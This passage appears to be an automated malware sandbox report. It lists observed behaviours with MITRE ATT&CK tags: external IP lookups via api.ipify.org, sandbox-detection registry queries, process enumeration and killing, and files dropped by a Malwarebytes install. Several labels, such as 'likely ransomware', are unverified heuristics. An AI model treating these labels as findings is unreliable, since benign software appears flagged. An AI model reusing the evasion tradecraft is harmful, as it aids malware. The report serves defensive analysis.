File opened (read-only)	\??\K:	MBAMInstallerService.exe
File opened (read-only)	\??\P:	MBAMInstallerService.exe
File opened (read-only)	\??\H:	Everything.exe
File opened (read-only)	\??\L:	Everything.exe
File opened (read-only)	\??\V:	Everything.exe
File opened (read-only)	\??\W:	Everything.exe
File opened (read-only)	\??\V:	MBAMService.exe
File opened (read-only)	\??\G:	MBAMInstallerService.exe
File opened (read-only)	\??\Y:	MBAMInstallerService.exe
File opened (read-only)	\??\I:	Everything.exe
File opened (read-only)	\??\P:	Everything.exe
File opened (read-only)	\??\J:	MBAMService.exe
File opened (read-only)	\??\B:	MBAMInstallerService.exe
File opened (read-only)	\??\R:	MBAMInstallerService.exe
File opened (read-only)	\??\S:	MBAMInstallerService.exe
File opened (read-only)	\??\B:	Everything.exe
File opened (read-only)	\??\E:	Everything.exe
File opened (read-only)	\??\H:	MBAMService.exe
File opened (read-only)	\??\Q:	MBAMService.exe
File opened (read-only)	\??\U:	MBAMInstallerService.exe
File opened (read-only)	\??\V:	MBAMInstallerService.exe
File opened (read-only)	\??\I:	MBAMInstallerService.exe
File opened (read-only)	\??\X:	MBAMInstallerService.exe
File opened (read-only)	\??\J:	Everything.exe
File opened (read-only)	\??\M:	Everything.exe
File opened (read-only)	\??\U:	Everything.exe
File opened (read-only)	\??\Y:	Everything.exe
File opened (read-only)	\??\U:	MBAMService.exe
File opened (read-only)	\??\A:	MBAMInstallerService.exe
File opened (read-only)	\??\A:	MBAMService.exe
File opened (read-only)	\??\M:	MBAMService.exe
File opened (read-only)	\??\W:	MBAMService.exe
File opened (read-only)	\??\F:	MBAMInstallerService.exe
File opened (read-only)	\??\J:	MBAMInstallerService.exe
File opened (read-only)	\??\T:	MBAMInstallerService.exe
File opened (read-only)	\??\A:	Everything.exe
File opened (read-only)	\??\F:	Everything.exe
File opened (read-only)	\??\T:	Everything.exe
File opened (read-only)	\??\F:	MBAMService.exe
File opened (read-only)	\??\E:	MBAMInstallerService.exe
File opened (read-only)	\??\W:	MBAMInstallerService.exe
File opened (read-only)	\??\B:	MBAMService.exe
File opened (read-only)	\??\G:	Everything.exe
File opened (read-only)	\??\E:	MBAMService.exe
File opened (read-only)	\??\G:	MBAMService.exe
File opened (read-only)	\??\Z:	MBAMService.exe
File opened (read-only)	\??\O:	Everything.exe
File opened (read-only)	\??\K:	MBAMService.exe
File opened (read-only)	\??\Z:	Everything.exe
File opened (read-only)	\??\Y:	MBAMService.exe
File opened (read-only)	\??\O:	MBAMService.exe
File opened (read-only)	\??\M:	MBAMInstallerService.exe
File opened (read-only)	\??\S:	Everything.exe
File opened (read-only)	\??\X:	Everything.exe
File opened (read-only)	\??\N:	MBAMService.exe
File opened (read-only)	\??\R:	MBAMService.exe
File opened (read-only)	\??\Q:	Everything.exe
File opened (read-only)	\??\L:	MBAMService.exe
File opened (read-only)	\??\S:	MBAMService.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
319	api.ipify.org
332	api.ipify.org
606	api.ipify.org
608	api.ipify.org
313	api.ipify.org

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\229169D96B9C20761B929D428962A0A2_FC65190A8D1232A1711F16F9F20C5149	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\572BF21E454637C9F000BE1AF9B1E1A9	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\38D10539991D1B84467F968981C3969D_C92678066E2B4B4986BC7641EEC08637	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\38D10539991D1B84467F968981C3969D_C92678066E2B4B4986BC7641EEC08637	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\117308CCCD9C93758827D7CC85BB135E	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DA3B6E45325D5FFF28CF6BAD6065C907_FBEAFB4EE7383EC8E0A3A2C1EC7FCEAC	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\229169D96B9C20761B929D428962A0A2_FC65190A8D1232A1711F16F9F20C5149	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\572BF21E454637C9F000BE1AF9B1E1A9	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FA0E447C3E79584EC91182C66BBD2DB7	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8890A77645B73478F5B1DED18ACBF795_C090A8C88B266C6FF99A97210E92B44D	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DA3B6E45325D5FFF28CF6BAD6065C907_FBEAFB4EE7383EC8E0A3A2C1EC7FCEAC	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1401C7EC8E96BC79CBFD92F9DF762D_E35D496D1CD0B884BEBCAFED0FE61600	MBAMService.exe
File opened for modification	C:\Windows\SysWOW64\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\SysWOW64\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8890A77645B73478F5B1DED18ACBF795_C090A8C88B266C6FF99A97210E92B44D	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1401C7EC8E96BC79CBFD92F9DF762D_E35D496D1CD0B884BEBCAFED0FE61600	MBAMService.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	MBAMService.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_6E4F36431D86962EFD432400DF65AC90	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_6E4F36431D86962EFD432400DF65AC90	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\117308CCCD9C93758827D7CC85BB135E	MBAMService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FA0E447C3E79584EC91182C66BBD2DB7	MBAMService.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Private\Style.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Fusion\SwipeDelegate.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Material\StackView.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Extras\Private\Handle.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\Qt5WebEngineCore.dll	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Extras\Private\TextSingleton.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\languages\lang_nl.qm	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\TelemetryControllerImpl.dll	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Switch.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Imagine\Dial.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Material\CursorDelegate.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Material\GroupBox.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Universal\Switch.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\languages\lang_de.qm	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\api-ms-win-crt-locale-l1-1-0.dll	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Styles\Base\CommonStyleHelper.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Material\PageIndicator.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Templates.2\qtquicktemplates2plugin.dll	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\resources\qtwebengine_devtools_resources.pak	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\sdk\farflt.inf	MBAMService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtWinExtras\JumpListLink.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\Qt\labs\settings\qmldir	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Private\ContentItem.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\TextField.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Fusion\Switch.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Imagine\ToolSeparator.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Imagine\VerticalHeaderView.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\Qt5Quick.dll	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\ScrollIndicator.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\PrivateWidgets\widgetsplugin.dll	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\XmlListModel\plugins.qmltypes	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\MBAMInstallerService.exe	MBSetup-20AB4836.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\mbae.dll	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Dialogs\images\slider_handle.png	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Extras\DelayButton.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Dialogs\images\sunken_frame.png	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\languages\lang_ko.qm	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Button.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Styles\Base\images\tab_selected.png	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Styles\Base\StatusIndicatorStyle.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Fusion\MenuBarItem.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Fusion\Pane.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Dialogs\DefaultColorDialog.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Dialogs\images\critical.png	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\mbae64.sys	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\Actions.dll	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Private\EditMenu_base.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Styles\Base\images\knob.png	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Dialog.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Imagine\RangeSlider.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Material\SliderHandle.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\mbam.manifest.json	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\sdk\mbamchameleon.tmf	MBAMService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\sdk\mwac.inf	MBAMService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtWinExtras\qmldir	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Imagine\qtquickcontrols2imaginestyleplugin.dll	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Material\SwipeDelegate.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Universal\RadioDelegate.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\MBAMCore.dll	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Styles\Base\CheckBoxStyle.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls\Styles\Base\images\needle.png	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Material\BusyIndicator.qml	MBAMInstallerService.exe
File created	C:\Program Files\Malwarebytes\Anti-Malware\QtQuick\Controls.2\Universal\TabButton.qml	MBAMInstallerService.exe
File created	C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\ig-35.exe	MBAMService.exe

Drops file in Windows directory 53 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-d..rvices-adam-install_31bf3856ad364e35_10.0.19041.1_none_d2c567b17279a950\adaminstall.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\a267614236e5d701639700001815341f.UwfServicingSvc.exe	Everything.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\a30f994536e5d701169b00001815341f.aspnetca.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\ace9914536e5d7010a9b00001815341f.WMSvc.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-d..rvices-adam-install_31bf3856ad364e35_10.0.19041.1_none_d2c567b17279a950\adamuninstall.exe	Everything.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\7deea44536e5d7012c9b00001815341f.InetMgr6.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_windows-application..egistrationverifier_31bf3856ad364e35_10.0.19041.746_none_64e9b1de23df7cf4\r\AppHostRegistrationVerifier.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.19041.264_none_aa5417fd2708544d\r\AppVStreamingUX.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-newdev_31bf3856ad364e35_10.0.19041.1202_none_8636783e05df6f4e\r\ndadmin.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1081_none_6700b2d2d3c0055f\r\adamsync.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\ad40614236e5d701629700001815341f.UwfServicingShell.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1081_none_6700b2d2d3c0055f\f\adamsync.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\wow64_microsoft-windows-mapi_31bf3856ad364e35_10.0.19041.423_none_93adcfb5ace23a89\r\fixmapi.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.19041.1202_none_4132a4047d5d53b2\f\AppVStreamingUX.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.19041.264_none_aa5417fd2708544d\f\AppVStreamingUX.exe	Everything.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\0be59c4736e5d70107a200001815341f.appcmd.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_windows-application..egistrationverifier_31bf3856ad364e35_10.0.19041.746_none_64e9b1de23df7cf4\f\AppHostRegistrationVerifier.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-onecore-c..periencehost-broker_31bf3856ad364e35_10.0.19041.746_none_1ce3c0f12fb5f8ec\f\CloudExperienceHostBroker.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-mapi_31bf3856ad364e35_10.0.19041.423_none_895925637881788e\f\fixmapi.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\aa9a364536e5d701869a00001815341f.inetinfo.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-newdev_31bf3856ad364e35_10.0.19041.1202_none_8636783e05df6f4e\f\ndadmin.exe	Everything.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-t..ices-appcompattools_31bf3856ad364e35_10.0.19041.1_none_a9109d150b1bf064\aciniupd.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\wow64_microsoft-windows-mapi_31bf3856ad364e35_10.0.19041.423_none_93adcfb5ace23a89\f\fixmapi.exe	Everything.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\1ea4214236e5d7010e9700001815341f.hvsiproxyapp.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.19041.423_none_6c3451a09cba3850\r\AccountsControlHost.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-appx-deployment-server_31bf3856ad364e35_10.0.19041.264_none_3f30ef10158954bf\f\CustomInstallExec.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-mapi_31bf3856ad364e35_10.0.19041.423_none_895925637881788e\r\fixmapi.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\36f22f4236e5d701239700001815341f.nfsclnt.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-appx-deployment-server_31bf3856ad364e35_10.0.19041.1288_none_d616f4b76bd7b8a2\f\CustomInstallExec.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-onecore-c..periencehost-broker_31bf3856ad364e35_10.0.19041.746_none_1ce3c0f12fb5f8ec\r\CloudExperienceHostBroker.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-appx-deployment-server_31bf3856ad364e35_10.0.19041.1288_none_d616f4b76bd7b8a2\r\CustomInstallExec.exe	Everything.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\8e36994536e5d701189b00001815341f.iisreset.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.19041.423_none_6c3451a09cba3850\f\AccountsControlHost.exe	Everything.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\9714214736e5d7015ba100001815341f.adamsync.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_31bf3856ad364e35_10.0.19041.1202_none_4132a4047d5d53b2\r\AppVStreamingUX.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-t..ices-appcompattools_31bf3856ad364e35_10.0.19041.1_none_a9109d150b1bf064\acregl.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\wow64_microsoft-windows-newdev_31bf3856ad364e35_10.0.19041.1202_none_908b22903a403149\f\ndadmin.exe	Everything.exe
File opened for modification	C:\Windows\security\logs\scecomp.log	MBAMService.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\WinSxS\Temp\PendingDeletes\a60e034236e5d701ed9600001815341f.ShellLauncherConfig.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-t..ices-appcompattools_31bf3856ad364e35_10.0.19041.1_none_a9109d150b1bf064\acsr.exe	Everything.exe
File opened for modification	C:\Windows\WinSxS\amd64_microsoft-windows-appx-deployment-server_31bf3856ad364e35_10.0.19041.264_none_3f30ef10158954bf\r\CustomInstallExec.exe	Everything.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4484	2844	WerFault.exe	648
5500	2844	WerFault.exe	648

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 26 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MBAMService.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Discord.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Discord.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Discord.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MBAMService.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Discord.exe

Enumerates processes with tasklist 1 TTPs 47 IoCs

Process Discovery

T1057

pid	Process
2016	tasklist.exe
4648	tasklist.exe
6072	tasklist.exe
1964	tasklist.exe
5820	tasklist.exe
4404	tasklist.exe
5032	tasklist.exe
2056	tasklist.exe
5224	tasklist.exe
848	tasklist.exe
4248	tasklist.exe
1064	tasklist.exe
6036	tasklist.exe
4608	tasklist.exe
5436	tasklist.exe
4488	tasklist.exe
5076	tasklist.exe
4328	tasklist.exe
4136	tasklist.exe
5584	tasklist.exe
5408	tasklist.exe
5384	tasklist.exe
2268	tasklist.exe
4000	tasklist.exe
5084	tasklist.exe
5596	tasklist.exe
1348	tasklist.exe
5396	tasklist.exe
3412	tasklist.exe
1152	tasklist.exe
5060	tasklist.exe
740	tasklist.exe
2688	tasklist.exe
1448	tasklist.exe
3176	tasklist.exe
5124	tasklist.exe
3124	tasklist.exe
1320	tasklist.exe
3500	tasklist.exe
5312	tasklist.exe
1876	tasklist.exe
5136	tasklist.exe
1880	tasklist.exe
5332	tasklist.exe
5496	tasklist.exe
3172	tasklist.exe
2712	tasklist.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 14 IoCs

evasion

pid	Process
4832	taskkill.exe
3092	taskkill.exe
1300	taskkill.exe
3680	taskkill.exe
1532	taskkill.exe
